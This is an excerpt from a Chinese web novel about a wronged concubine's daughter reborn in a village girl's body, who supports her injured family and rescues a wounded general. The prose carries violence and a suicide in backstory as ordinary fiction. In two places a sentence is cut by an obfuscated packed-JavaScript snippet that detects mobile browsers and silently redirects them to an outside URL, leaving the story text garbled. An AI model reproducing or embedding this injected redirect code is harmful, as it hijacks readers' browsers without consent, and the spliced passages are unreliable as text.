《矜弱贵女重生乡野后杀疯了》 1. 落春南生 气候潮湿而偏僻的南禺地带—— 连绵的茶山下坐落着一只叫做古溪的村落,村落里的人群聚而居,本过着与世隔绝的日子。直到百年前先帝开耕南蛮东夷,重并南禺,使其茶叶产业直通中原,南禺人需纳官税,古溪村的村民们也跟风种起了茶树,村后的茶山就是他们百年来的佳作。 一名年轻的女子穿着最普通的粗布衣裳,钻进竹帘从木屋里端来一只装满了烧水的泥壶,把提前洗好的薄荷叶掷进去。 一系列动作刚做完,一个扎着对麻花辫的小丫头就凑过来,毫不客气地抱住女子的大腿,软糯糯地唤着:“姐姐,这又是什么?好香啊!” “薄叶茶,清热解毒,”魏郁春弯着唇,摸着妹妹毛茸茸的发顶。 妹妹冯巧儿猛嗅了一口薄荷香,感叹起来:“这些我从未见过,姐姐怎么知道的啊?” 魏郁春一顿,挂在嘴角的笑容变得生涩而僵硬,她讷讷随口回应:“姐姐从书上看到的。” 冯巧儿闻言眼睛一亮,忙不迭地拍掌叫起来:“哇,姐姐好厉害!自从姐姐摔了脑袋后就变了好多,爹娘也说你变得越来越聪明了!根本不像外面人说的那样把脑子摔得更坏了!” 魏郁春眼神变幻莫测,没再作声,默默将妹妹赶到外面的草棚子里,在桌上放了三只碗,全部满上薄叶茶。 事了后,她才跟妹妹交代:“天热了,爹娘采茶回来后茶应该冷下来了,你叫他们喝些清清暑气。” 魏郁春又回了自己的屋子,把门关得很紧,将被反扣在桌上的铜镜竖起来,满眼幽怨和无奈地瞧着镜子中这张才熟悉了半年的面容—— 这张面孔跟前世的自己相比,除了眼睛里的那股怨劲外无一处相同,她本是中原朔州人,而不是偏远地带的南禺族人,不可能天生这副南人相。 论非要相比,现在这张面容竟与前世不相上下,多了很多超脱淡定书卷气的明艳。 前世,她是堂堂朔州府魏氏书院的小姐,无奈的是仅仅是个庶女。 随着岁月增长,她出落得越发水灵,备受嫉妒,总遭刁难,连着母亲也一起受罪。 岭阳关氏乃助先帝南征的军府世家,三年前北疆大战,右军大都督旧伤复发,被迫下阵。关氏嫡子代父率岭阳官兵家士以三千之力抵挡万人之势,不过二十出头的年纪就立下赫赫军功。 皇帝体恤老都督,将其子提为安南大都督,子承父业,镇守南禺军防,名动四方。 关氏祖上和朔州府魏家有些渊源,两户孩子没出身时就有了娃娃亲。 亲事久远,早已形同虚设。 魏家早就摩拳擦掌准备尽力撮合,首选之女,亦必是嫡女魏澜清。 去年秋末,魏家听闻岭阳关氏来京暂留朔州府,便抓住这次机会撮合两家关系。 此事本与魏郁春毫无干系。 适逢朔州府文士才女们举办了一场诗词会,魏郁春心痒就参了进去,想着不愿招惹是非就隐瞒了身份,带着一面白纱在会上即兴赋诗一首,名动朔州。又因诗名《春生》,她也有了个叫做“春生才女”的响亮名头。 朔州府的风头顿时从魏澜清身上挪到了魏郁春身上,一场流言又成了导火索——说那岭阳关氏的安南都督,也在那场诗词会里目睹了“春生”才女的绰约风姿,早就无心顾及什么魏家嫡女了。 魏家慌了。 直到魏澜清发现了魏郁春搁置在阁楼里的一纸草稿,上面字迹分明写着的就是那首《春生》。 嫉妒和仇恨达到巅峰,唯恐未婚夫发现魏郁春身份,就要抢回她的荣华富贵,魏澜清那晚守在阁楼一夜,逮住偷摸回来的魏郁春,只管唤人绑她堵口,一把利刃疯了一般游走在魏郁春干净的脸蛋上。 那晚母亲被抓到了不知什么地方,破败的阁楼中只有她和一群她无法抵抗的施暴者,魏澜清狰狞的话语还令她记忆犹新—— “死贱人!长得和你娘一样贱!你定是嫉妒我,看不得我好才处心积虑谋划了这次诗会!你出尽了风头,打了我的脸,是不是还想与我抢夺夫君!贱人!看我不把你的脸刮坏,叫人人都怕你这个丑八怪!” 魏郁春疼得整个人都在痉挛颤抖,那双只有能握紧笔的力气的手,在此时抬都抬不动,只能哭着眼睁睁看着魏澜清为所欲为。 她从没因自己的容貌自视甚高过,从未处心积虑抢走谁的风头,更从未想抢走谁的夫君……她只是喜欢什么便做了什么,难道这也是错吗?她到底错在什么地方了? 大抵是太过软弱。 魏澜清红着眼提着刀刃搅着魏郁春脸上的血洞,却因心底还留有一丝对父亲的畏惧,便没有要了她的命。 魏郁春本以为父亲知道魏澜清的恶举后,至少会良心发现帮帮她和母亲,却未想父亲一心为保魏澜清而不惜用母亲的安危威胁她,势要杀人灭口,甚至直接偷梁换柱,拿走她诗词会上的衣物和面纱,用写着她字迹的笔稿对外宣称,“春生”才女便是魏家嫡女魏澜清,好让这才女风头为魏家迎得更多未来女婿的青睐。 一夜之间市井风波大转,魏郁春仿佛被世间瞬间遗忘。 母亲罹遭大难,她望着自己的一无所有和不似人样的面容,十七岁还未开阔的眼界里,闪不起任何希望,只觉命运不公。 她答应了父亲和魏澜清的条件,独自一人上山,在一处破庙寻了短见,一条白绫带走了她。 或许是天公良心发现,魏郁春睁开眼后发现自己没有死去,而是重生到了南禺的一户普通茶农家女儿的身体里。 重生后她保留着前世中原的记忆,也徒增了很多原主的记忆,从中发现原主冯迎春是个十七岁却天生智力缺陷的少女,她有一对很爱自己的爹娘和一只方满八岁的幼妹。 冯迎春因为美貌出众而备受关注,但脑子不好使,也招致了无数色男的歹念,他们想尽办法骚扰她诱骗她。十七年来未曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447344|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭到欺负和侵犯的奇迹,来源于爹娘无微不至的疼爱。 爹娘采茶往往只去最近的后山,后山多地面阴,劣茶甚多,并且爹娘都是每半日互相轮流一回,因而赚到的钱堪堪只到人家的三分之一,日子过得贫困些不要紧,就怕坏人跑到家里危害女儿安危。 但不幸的是,逃得过贼人却逃不过天灾,几个月前,孩子爹上山采茶,留下孩子娘和妹妹巧儿,巧儿晚上突然发烧,孩子娘没得办法背上小姑娘找大夫,叫冯迎春一起跟上。 结果上一秒还在身边的人儿下一秒就消失得无影无踪,爹娘跟妹妹寻了一晚上都没见着魂儿,以为是被一直窥视的贼人绑了去。 第二天白日就有一位上山采茶的农户在山下水沟沟里瞧见了满脸青白的冯迎春,摸过去一瞧没了气息,她腿上还躺着只赫然的蛇口印。 爹娘哭着抱回去要裹草席的时候,冯迎春却突然有了鼻息,叫大夫来看也是百思不得其解,只说人还活着。 只有鸠占鹊巢的魏郁春明白人哪里是活着,冯迎春这个姑娘早已丧命。但她并不好对此做出解释,说了谁都觉得她还是在卖疯。 没人会相信她。 魏郁春就这样重活了下来,在这个崭新的环境里生活了快半年,对爹娘和妹妹乃至村里淫贼们了如指掌,不过反过来,她却叫家人和那些淫贼越觉迷茫——他们很快发现这女傻子鬼门关走了一遭后,就跟变了个人似的,不言不语更不谈说疯话,眼神也变得明净了很多,白纸一样的人儿,还平添许多说不清的悲寞气。 最初魏郁春还不能接受自己重生的事实,对周遭所有人都很排斥,对兄弟姐妹还有爹娘这些词极度敏感,只要一应激便会害怕地瑟缩在床脚摸着自己的脸哭着发愣。 村里淫贼觉得她鬼上身,消停了好些月。 爹娘发现自己只要一接近魏郁春,她就极有可能应激。 夫妻两人见淫贼气焰灭下,没得办法后索性一起去山里采茶,好让丫头眼前清净,他们还把年幼的妹妹留在魏郁春身边,因为她好歹对妹妹的反应小些——不过只要出什么事情,小妹妹也会充当哨兵的角色,跑到后山喊爹娘。 平静的日子过了长些,满眼青山绿水的环境浸润眼界和心灵,魏郁春郁结的心境终归有了点起色,这日还破天荒地主动给爹娘烧了壶薄荷茶。 心神从前世的困顿中飘回来,魏郁春的眼神又重新聚焦到铜镜之中。 年轻明丽的少女面色红润,毫无瑕疵,不谈被恶意破坏出的血洞,任何斑斑点点都无迹可寻。 她觉得羡慕,重生在普通而贫困的农户家中又怎样?至少她所能拥有的一切,都愿意爱她护她。 两行情绪不明的清泪再度流出眼眶,心中默默下了个决心——这一世,她必不会软弱,必不生无意义的善良,她要珍惜所有爱她的人,若有机会,她还想回朔州望一望母亲,至于复仇,她想以现在的身份无异于蚍蜉撼树了。 2. 多灾踵至 午上的天儿暗了,薄叶茶不谈是冷了,还掉了几只晚来出没的瞎眼飞虫,等得花儿都谢了的冯巧儿就着微微暑气睡了过去。 若不是魏郁春唤她,她怕是能一觉睡到明儿天明。 魏郁春抬眸望了一眼天色,不光是时辰拖了,镶在远处天边的一圈浓得能不见五指的黑云挑起她的忧色。 “最多一个时辰后就要落暴雨了,爹娘不会看不出来,”魏郁春眼神顿转,心中有了盘算。 “爹娘还没回来怕是出了事,巧儿随我出门寻人帮忙!” 魏郁春很快就动了身,不及睡眼惺忪的巧儿反应,人就被连拉带拖着上了路。 邻居家的多半都回来了,开始挂灯和收晒茶叶的竹筛,见到半年不迈大门的冯迎春时就跟见了鬼似的,要么闭门不出嫌晦气,要么讷讷不动呆愣原地。 不过在听到魏郁春口齿清晰地表述了一番冯家夫妇二人的祸难后,大多人皆是心地纯善之辈,也不论是不是胡言乱语,二话不说就分拨跑上山寻人。 果不其然,魏郁春料事如神,冯家夫夫妇果真在后山出了事。 后山前几日下过一场雨,泡烂的泥土在阴暗的山面凝固不住,竟致使山中泥水卷石滑坡而下,冯家夫妇一起被卷下去。若非魏郁春惊觉,一旦暴雨下来,夫妇二人必死无疑。 尽管施救及时,夫妇二人还是落了病根子,爹断了只腿,走路都费劲更不提上山劳作。娘的腿腕险些被砸出个窟窿,尽管保了下来,却时常需要敷药止痛。 夫妇二人无法劳作,甚至还成了没人依靠就丢摊子的药罐子,膝下的两个女儿一个傻一个小。 一日下来,整个冯家如遭霹雳,夫妇二人屋内哭得差点晕厥,小丫头巧儿有样学样咿呀咿呀跟着哭。 唯独魏郁春在暗光中笔直着身子,眼中沉寂得可怕。 她的泪田干涸了许多,既然选择重新振作,又是这种关头,她怎会再退缩不前? 于是,魏郁春在一众哭声说出一段铿锵之语:“爹娘不必忧心,我明日便能找到营生,补贴家用。” 哭得死去活来的冯家夫妇被她这话吓得顿时没了声,一副怀疑自己幻听的神色,但很快他们就唉声叹气着小声抽泣起来。 魏郁春明白他们还当这是她的疯言疯语,不可当真。 夜深后,魏郁春照料好爹娘入睡,把妹妹巧儿抱上了床,独自坐在窗台,望着天上密布的乌云,盘算起明日的打算。 南禺已今非昔比,虽然偏僻也比不上朔州京城那般繁华,但早有先帝南征打下的基础。中原文化通过贸易传入此地,这里的族人除了一些本土的习俗外,对外使用的语言文字乃至货币皆受中原汉化的影响。 中原的朝廷还在与南禺接壤的边境设过南都司,更不乏岭阳关氏为首的军家士族在此负责管辖镇守。这代表着中原与南禺早就实现了互通性,不少有能耐的南禺人可靠本事获通关文牒,入中原做生意,甚至是考官。 中原人守着官本位上千年,难免影响了不少南禺人,他们知道成人龙凤得读书,奈何条件跟不上,一切远梦不过是空口来穴。 南禺贵人尚且如此,遑论古溪村这个在南禺地带都算得上鸟不拉屎的地方的人? 但魏郁春不一样,她有前世带来的知识,教授族人识字不成问题,以此收取报酬并不过分。 她的灵感源于清楚古溪村族人没一个人识字,来此收税的地方小吏借此拔高税阈,好收得自个儿囊中之财,族人不傻,但苦于大字不识一个,争论争不出半只屁,报官连哪个官哪个府都分不清! 若是告诉族人们学习可帮他们存留底气、涨士气,以后不必缴纳高额赋税,也不会再蒙受类似的欺骗,应是无人会拒绝的。 长远之计有了,当下却有个大难题急需解决——她还顶着个傻女的名号,提早说出这些话不但无人相信她,还容易惹一身腥。 魏郁春又仔细思索起其他的念头,将商机投到了另一件事情上—— 古溪村中不乏外地嫁进来的妇女,抑或是嫁出去的姑娘。不同村子抑或镇子受地形干扰来往多繁杂,但总不能一年到头不给家里送个念想。 于是这些女人往往会雇人写信,自己甭管看不看得懂,就靠嘴巴念,写信的人顾着记。 飞鸽送过去后专有念信的人杵着,也甭管对方看不看得懂,靠着嘴巴复述,收信的人顾着听便好。 不过碍于识字之人过少,这些写信念信的人极其稀缺,往往行窜于各个村庄之间。需要寄信的妇人们只能早早备好钱财蹲着年头等,什么时候等到了什么时候才算事,其中艰辛之处闷在心中,实在难言。 魏郁春决定从明日起就先挂起给人写信的招牌,先是说免了钱。即便有人不信她也肯定会来探探,事情做的好,久而久之就有人来照顾生意,她只需少要些价钱。 翌日清晨,魏郁春就先问家中要了五文钱,托早起上集市卖茶的邻居家的带回来一些笔墨和书写纸。 秉承着一切从简的态度,她都要的是最劣质的产物,如此才能省钱。 古溪村每日往返最近的集市至少也要半日,等待物资的时间,也不可什么都不做,于是她索性拉着嗓门大的妹妹巧儿先在村里做了宣传。 妇人们闻有免费的写信先生来,个个都心潮澎湃,可一看传消息的人是那著名的疯子,瞬间就蔫儿了心情。 但终归就那么几个家中贫困,一年到头难得凑得出几次雇信钱的女人抱着细微如末的希望跑来看看,来来去去除了多些脚程外也不会吃亏。 物资如期到手后,魏郁春很快就摆出了一副看着就令人信赖的文人风骨,用村人瞧不懂的方式琢磨黑墨白纸,按着纸提着笔刷拉拉地记下那些妇人口中传递的话语。 妇人言家,无论过得好还是苦,总是落泪轻易。每到此时,魏郁春心软又有内涵的话总能将女人们安抚得服服帖帖。 魏郁春写信的摊子就设在自家院子里面,竹栏大门统统敞开,路过之人将这一幕幕尽收眼底,惊诧不已之时踏足其中一探究竟。他们会发现印象中的痴傻之儿,竟摇身变成了风骨婉颜的绝代才女。 院中热闹非凡,更有无数村民急着上来排队要写信,魏郁春从未想过生意有这般顺利,于是顺水推舟言了自己的目的。 “如今我家爹娘身残,妹妹幼小,唯我可担责,索性把这身不足挂齿的小本事搬出了台面,今日大家捧场我便统统奉陪,来者不拒,更不收取任何费用。” “只是,明日起,大家可否怜惜家中爹娘困境,给些信钱,一人三文便可,小女日后就专门为大家书信念信,绝不加价。” 她的话很直白,但联系她家中种种,以及摆在眼前确比之前雇信低得多的佣金,在院各位但凡有些良心的必不会拒绝她的要求,甚至还会因为心疼她,赶着送些体恤的小钱——早就令魏郁春称奇的是,古溪人虽然贫穷,除了些的确不要脸的地痞流氓外,邻里人要真遇上困难,也是愿意不计前嫌来帮忙的。 民风之淳朴,竟比那自称繁华无度的朔州府好上千倍万倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447345|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 睡在屋内的冯家夫妇早被外面的喧哗惊动,本要叫来冯巧儿,结果外面刚受了魏郁春慧泽的妇女们忙着涌进来,把夫妇二人吓得不轻。 问是如何,诸人激动得要落泪,来来回回口中就那么句——“你们冯家大姑娘早不疯了!有出息啦!” 这门营生安安稳稳维持了将近一个月,终是闹大了去,惊扰了远在外村同样急于需求的村民们,竟有人直接托古溪村的人叫魏郁春写信过去。 当然,这也代表着消息定然会落到原本做这门营生的人耳里。 魏郁春此举在他们眼里同抢人营生别无二致,风波亦然暗涌,不过魏郁春还未有所警觉。 只是她发现从前爱缠着她的流氓们又骚动了起来,甚至除了他们以外,旁的些年轻男子也为之书信时的美色吸引。所谓前尘往事和鬼神之论早就变成了没用的干柴,被抛到遗忘记忆的火坑,一把火下去连灰烬都难寻。 今日天半亮,魏郁春就醒来了,因为娘的腿疾又犯,亟需草药敷下,她得尽早去之前采药的山里寻药。刚好也借此避一避那群男人,有个清净。 茶香混着湿雾杂在鼻息间,今日的雾格外大,越上山越是如此,魏郁春懊悔今日少穿了层衣裳,走着走着就打了好几下喷嚏。 她的声音方落,一些藏在笼罩杂草断木的雾气里的簌簌声,随之响动,并且听得出有几分急迫和挣扎。 魏郁春有些紧张,忙要下山,因为她怀疑这是山蛇出没的动静,她可不希望自己和这具身体的前主一样,再死于蛇口了! 那些窸窣声感应到了她要离开的讯息,就像是要错过最后一根救命稻草般,拼了命不停摇动,直到终于哽塞出一句细微到几乎不可闻的人话:“别走……” 魏郁春的脚步顿时僵住,她并不知道自己是不是幻听了什么,但总感觉自己应该回到雾中探探。 蛇人不分之下,她的心神都在颤抖,可她还是回了头,仿佛命运就该如此。 拨开乱草枯木,一个浑身血淋淋的男人躺在斜坡上,身下有一堆断开的树枝化作的枯木拦住,一看就是从山上失足滑落,因为运气好才被这些草木救了半条命。 否则要真从这山上彻底坠下去,缺胳膊少腿都算是好的死相了。 男人衣衫褴褛,一件单薄的黑衣被划拉得要将他浑身十有七八的皮肤裸露出来,不管是身子还是脸蛋,都蒙满了血迹和灰泥,看模样他至少被困在这里一夜了,简直是触目惊心。 男人一双半睁的眼盯着魏郁春,亮得仿佛一对照彻浓雾的明灯。 魏郁春很难想象他是如何扛住这般疼痛熬过这漫长寒夜的,眉头骤紧时分竟不知手腕何时被那男人的手攥紧。 他的手劲很大,大到超乎寻常,也大得极度可悲,因为这是他用尽浑身所有力气做出的最后斗争—— 她是他最后的曙光。 “别走……救救我,我……还不能死,”男人那明灯般的双目竟浸出了泪,可他的声音依旧持着那岿然不动的尊严,矛盾感冲击了魏郁春,好像是穿越了时空,以一种方式看着曾经那个垂死挣扎的自己。 只是那时无人救她,而他却有,她便是这个救他的人。 魏郁春长舒了一口气,慨叹幸好是在家中后山寻的人,否则只靠她这个小身板扛人下去实在太困难。如今她也没时间去搬救兵,还不如慢慢把人扶过去的快,最多是吃力了点而已。 魏郁春唯恐此人难以坚持,中途还好心提醒了他一句:“继续坚持着,别睡。” 3. 漂泊雨夜 历经生死大难后,关阇彦显然已经很难分清梦境与现实,噩梦里无数肃杀冤魂紧跟脑后。 血海滔天里只有他逃了出来,让他感受颇深。 两个月前,他探到了不少流寇飞走四窜的风声,一个月后果真收到密报。他奉密报开始着手带兵往南搜寻北疆南去之流寇的踪迹,却莫名遭遇埋伏,三万兵马失散,仅剩下三千兵士,到最后被围困群山谷,其中为护送自己离开重围的精锐与亲信死伤大半。 他们不知道逃到了哪里,几匹马穿梭无数日夜,本以为无缘厮杀,却又突遇天灾,暴雨侵袭,南方居多的湿泥混着沙土坍塌,这场雨下了很久,拖延了他们的行路,马匹受伤濒死,他们被追兵赶上,这些人的目的无非是杀死他这个安南都督。 万念惧灰时,他身边最后一帮亲信精锐者选择拼了命护着他,他们把最后一只马匹让给了他,逼着他离开死地,亦让他眼睁睁看着他们尸首分离、死无葬身之地。 这是他堂堂安南都督第一次当逃兵,是他本该光鲜亮丽的一辈子里史无前例的污点和狼狈。 最后的马跑了整整两天一夜,死了,他徒步爬上一只又一只山,最后停步在一只茶山,夜色误人眼,他随着湿土衰落断壁,却有几只同他一样苟延残喘的枯枝为他保了最后一线生机。 他逃过了死劫,可是他不想活,却有无数人硬生生拿自己的命换了他的命,告诉他不能死,这天下还需要他,惨死的无辜兵士们还要他去复仇。 所以,关阇彦顶着万千生命堆积的沉痛压力挣扎了一整夜,再疼再想睡过去也不肯多阖一次眼。直到那日清晨,他碰到了可以救他的人,他才终于肯安心睡下去。 他睡得其实很不好,梦里都是那些布满血迹的脸和字字诛心的话语,冤魂遍地哭喊着他的名字,求他为他们讨回公道。 他被吓得出了一身汗,徘徊脑海的喧嚣声如雷贯耳,恍然惊醒后,看到的是一张陌生而过于简陋的用横梁堪堪维持形体的天花板。 此时,他才终于意识到往前种种是梦境。 可怖的厮杀声和怨哭声消弭不见,却依旧没得清净。 因为一个陌生而穿着特别的小姑娘见他醒来,飞一般跑过来,叽叽喳喳同他算账起来:“怎么睡了七八日了才醒?!我姐姐为了给你治病都贴了不知多少文钱,我们家因为你都喝七八日的白粥了!现在起来了就赶紧还钱!” 看来救了自己的这户人家竟是穷到快揭不开锅了,关阇彦闭声静静听着冯巧儿的牢骚,心中默默琢磨。 正当冯巧儿还要得寸进尺的时候,魏郁春刚好进屋,她立即打断道:“巧儿,不许乱说话!” 冯巧儿现在算是越来越怕这个聪明起来的姐姐了,被吼了一嗓子,双眼就差点忍不住涌泪了。 幸好冯家夫妇即使出现圆场,冯巧儿才没闹。 冯家夫妇一人瘸着一只腿,互相搀扶着走进来,同关阇彦微笑道:“小伙子是哪户人家?是不是上山采茶时踩了空?你可以和我们说说,然后我们叫你家人把你接回去。” 关阇彦木然了半晌,随后动了动干涩的唇,选择性回答,还为了避免麻烦编造了些内容糊弄身份:“我不是这里的人,至于采茶……我已经记不清了。” “莫非是摔着了脑袋?”魏郁春暗暗想着。 关阇彦勉强撑着从鬼门关拖回来的身体坐起来,看到夫妇二人身体残废的模样更觉此家困境非凡,心中更不是滋味,于是尽量用自己现在力所能及的态度表达歉意:“抱歉,给你们添麻烦了,治病的钱我很快就会还给你们。” 他的声音深沉不已,好似有被人恶意压进寒潭无法探头的绝望感。不知为何,魏郁春很能共情此人,甚至能看得出来他好似经历过了什么不好的事情,并且还总觉得他在隐瞒着什么。 但这些她都无权过问,她站出身来,对他道:“你无需因为那些钱而感到有负担,救人更要紧。刚刚我妹妹说的那些话也是无心的,不必放在心上。” 说着说着,魏郁春还往被自己揽在身下的巧儿脑袋上送了一只弹指,有意无意地警告她。 魏郁春又把刚熬好的药端过来,送到关阇彦手中,交代说:“这碗药喝完后,剩下来的你便自己熬。平日忙事多,还望多体谅。” “你可以随时回家,当然如果可以的话,还是早些好。” 关阇彦有些诧异地望了一眼魏郁春,发现此女身上的气质与周遭场景实在有些格格不入,他敏锐的心性让他不禁对魏郁春多留意了几眼。 同时他也从对方反射光景的眼眸里,看到了自己那副灰头土脸的模样,压根看不出还是个人形,微妙的尴尬漂浮在空气中。 冯家夫妇的话刚好来的及时:“村里懂药草的村民看你病的时候说你伤得严重,但不会要命,他说你醒来前不可沾水,我们就没敢动你。所以待会你可以自己去洗洗澡,换身干净衣服。” 魏郁春颔首,多加一句:“自己烧热水,冷水去湖里捞,木盆在后院,衣服是爹的旧衣,放在床头了。” 她时刻都跟他保持着分寸感,好似煞有芥蒂。这种感觉让有着相同处事方法的关阇彦非但不觉着疏远,还感到亲切。 他收回对她的关注,点头称了句“谢”。 等诸人离去后,他一个人在看似封闭,其实颇为漏风的屋子里深思了许久。 首先,这里是哪里? 他逃亡那日与无头的苍蝇无异,见缝插针般看见哪里有路就往哪处钻,以至于早就丢了方向感,无论如何揣摩也猜不出如今身处之地。 然后,他分明奉朝廷密报带兵赴南,朝廷密报向来具有针对性,除收密报的家族外不可能有人知道他的行踪。 可那些埋伏和暗杀兵马充裕,倒像是为此筹备了许久,杀气中带着的目的性清晰到能刺目钻耳。 是什么人费劲心机要杀他,他到底触及了谁的利益? 是朝廷密报泄露还是家族泄密? 他深入进去探索,一下刺痛了脑袋,他皱眉紧绷起神经,才暂时遏制住那足以让他再晕一次的疼痛。 他有些泄气,但不管怎么样,他还是得尽快探清楚周遭的环境,以及他得弄清楚被围剿时,是否有人和他一样幸存了下来。 当然,他也没有忘记自己要还钱这桩事,他摸了全身上下,却连半个铜板的影儿都没摸出来,长哀一气,深觉荒唐。 他堂堂岭阳关氏安南大都督,如今竟然沦落到还要为生机俯首帖耳的地步了。 关阇彦被身上那股难闻的气味熏得够呛,旋即抓起衣服朝外走出,按照魏郁春说的那样又是烧水又是打水的,毕竟用物陌生,他折腾了好一会儿才把自己折腾干净。 魏郁春偶然路过看到过他那副愚钝的模样,真是熟悉,就像她重生时初来乍到的样子,要知道生活习性是很难一下改变的。 她一下就有了定论,此人必不是南禺人,还隐隐从他的背影上抓出些中原人的影子。 待头发晾干后,关阇彦及腰的长发松松地耷拉在身上,很是遮掩视野。 他倒是很乐意随手从衣服或者是床上扯块布条,但寄人篱下,这番做法未免逾矩,干脆礼貌去要了。 魏郁春正给爹娘侍药,确实忙得 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魏郁春心底生惧,恨不得立马想尽办法将此人逐出家门,还为之前冲动救人的事情感到懊悔。 关阇彦察觉到魏郁春神色不对,但又找不到她对自己态度忽冷的理由,当下唯有多问一句,方解僵持:“麻烦问一下有发带吗?” 魏郁春眼神闪躲着,竟然一把将自己的发带抹下来丢给了他,然后飞速走过后,冷冷抛出一句:“家中拮据,给你配的药不可再多,用完后你便走,不用你还了。” 就连关阇彦都觉得对方从身边擦肩而过的风冷到刺骨,心念真是个古怪的人,古怪到让他觉得此人活似一个被迫塞了只格格不入灵魂的皮囊——他很难靠她那副明丽的面容揣摩她冷漠的真心。 又过三日,关阇彦当了三天的药罐子,也摸清了此地是南禺地带最为偏僻的村落之一,古溪村。 这里的人都靠采茶度日,却因民识低下总被贪吏克扣。 在古溪村,采茶晾茶是唯一赚钱养生机的事,当然除了魏郁春这个怪胎。 听说她原来是个傻子,被蛇咬了口差点死了,侥幸活下后性情大变,爹娘出事后,为了养家糊口还当起了大才女,帮人写信念信,无所不能。 欠人钱财天打雷劈。关阇彦本来想早点把钱还了,学着人上山采茶,结果没会儿功夫就险些再次失足,好几天的脑袋晕晕涨涨,在冯家床上又瘫了俩天。 他实在没想到这次内伤如此严重,忧虑还要多久才能全然痊愈的时候,他几乎成了冯家嫌。 魏郁春怀疑他是故意拖延在家中逗留的时间才作妖,冯巧儿觉得他是故意又让家中贴钱买药喝白粥。 关阇彦从前深埋在骨子里的傲慢算是被磨得一干二净,几日来话都不敢多说一句,生怕直接被扫地出门,沦落成流浪的病秧子。 不久后,一桩事情突然发生,把冯家闹得天都快塌了下来。 时至傍晚,外面还下起了暴雨,可妹妹冯巧儿却还是没回家。 冯家老夫老妻急得恨不得蹬对儿瘸腿七上八下,魏郁春已经出门挨家挨户寻起来了,她现在的身份本来就亮眼,夜晚出门难免遇上晃荡的流氓贼人,差点被缠上好几次。 关阇彦仿佛找到了讨好的机遇,提出跟着魏郁春帮忙的建议,魏郁春见他身材高大足够骇人,急忙中胡乱应下。 雨夜下,魏郁春期期艾艾的寻觅声,徘徊在古溪村大大小小的山沟和人家间,焦躁的泪水打湿脸畔。 关阇彦亦步亦趋地帮她提伞遮雨,心情不知为何也跟着魏郁春一起低落下去。 4. 地庙乱火 村里村外多处皆布满泥泞,靠山而居的村落地势倾斜,愈是往上走,被暴雨冲刮下来的泥水就越是汹涌,虽严重不到伤及性命,但细小的石子冲进鞋底必会使人疼痛。 魏郁春踏着一双草鞋不顾阻挡,脚底下不知被磨出了多少只水泡。 她心中苦涩,即便是重活一世,身体素质竟与前世无甚区别。 她自我迁怒,将对心中对冯巧儿的万千责骂和声讨,变成了针对自己恨铁不成钢的愤懑——若不是她看管不严,巧儿定不会出这么大的事! 汹涌的愧疚铺天盖地席卷过来,阵势不比泼天的暴雨小。 急火攻心下,魏郁春踏破草鞋,一整个人栽进了泥潭。幸好一旁作伴的关阇彦及时拉住她,否则必定滑下去,且伤势不轻。 多日没开口的关阇彦,忍不住说出这段时光里最长的一句话:“别往上面走了,你以为贼人都跟你一样不要命么?你妹妹倘若遭人拐卖,必不会在前头。若真在,不出意外就是死了。” 关阇彦其实不太会说话,尤其不会对女子说话,好心好意的劝阻在他嘴里一转,就成了惹人耳嫌的刺话。 魏郁春可没工夫相信这是他的口不择言,戒备的目光如飞梭逼入对方的眸前,她声线轻细,却带着讽刺至极的压迫感:“若我相信你的不出意外,那日山崖落难的你,还会站在我面前吗?” 关阇彦卡住,他眉头紧皱,知道自己遭人误会却做不出合适的解释。唯一确信的是,他的心情有些不畅快,有种莫名被人凌驾于上后,有口难言的堵塞感。 这魏郁春竟比他还倔,加上有求于人的事情压他一头,即便从他前再多么傲气冲天,目前也是气焰全无,毫无尊严可说。 他把伞推给魏郁春,赌气似的说道:“你在此地等我,我去前面寻。” 这是魏郁春没能想到的发展,冰凉的伞柄塞入掌心的触感,让她失神。 等回过神时,关阇彦的逆行而上的身影,差点就要如射出去的飞箭,扬长而走。 此时若要上坡,无异于与天而斗,人定不胜天,关阇彦极有可能会把命赔进这场赌气里去。 魏郁春心惊,包裹心灵的冷瑟皮囊猝然撕裂开一个口子。 魏郁春下意识地扯住关阇彦的衣摆,语气和眼神皆有所缓和:“方才无意迁怒于你,抱歉。” 然后,她就很快把手收了回去,自己塑造多时的形象就这样土崩瓦解,整个人的神色很是僵硬。 关阇彦迈出去的步伐退回来,眼神潦潦草草地扫了她一眼,一丝诧异飞过后,心里也多出了很多见解——这女子分明总是好心,会因为可怜受伤之人,不惜代价把人救回去,会担心他受伤,但总是不肯叫别人察觉出这份好意。 若别人刚要因为感激而想要亲近她,她就会立即把人推开,再用与心思截然相反的态度逼走对方,拒人于千里之外。 这样的表现不仅针对了他,就连魏郁春的家人都没能幸免于此——平日里,魏郁春不会主动和冯家夫妇以及冯巧儿有过多交集,说话总是冷冷淡淡,妹妹冯巧儿的撒娇,在她这里全无用处,难怪她会越来越怕自己这个姐姐。 当然,她表面虽如此,侍奉爹娘,赚钱养家,照顾妹妹这些事情她一样不落。 这女子同自己无甚差别,都极不爱表露自己的情绪,更不会表达自己的心情,与人相处别别扭扭倒是正常。 这股亲切感,又让关阇彦对魏郁春产生了极强的共鸣。 从前无人能降服的孤傲与矜功负气,在魏郁春的冷热不定下被很快制服,笼罩心头许久的悲色也被抵消。 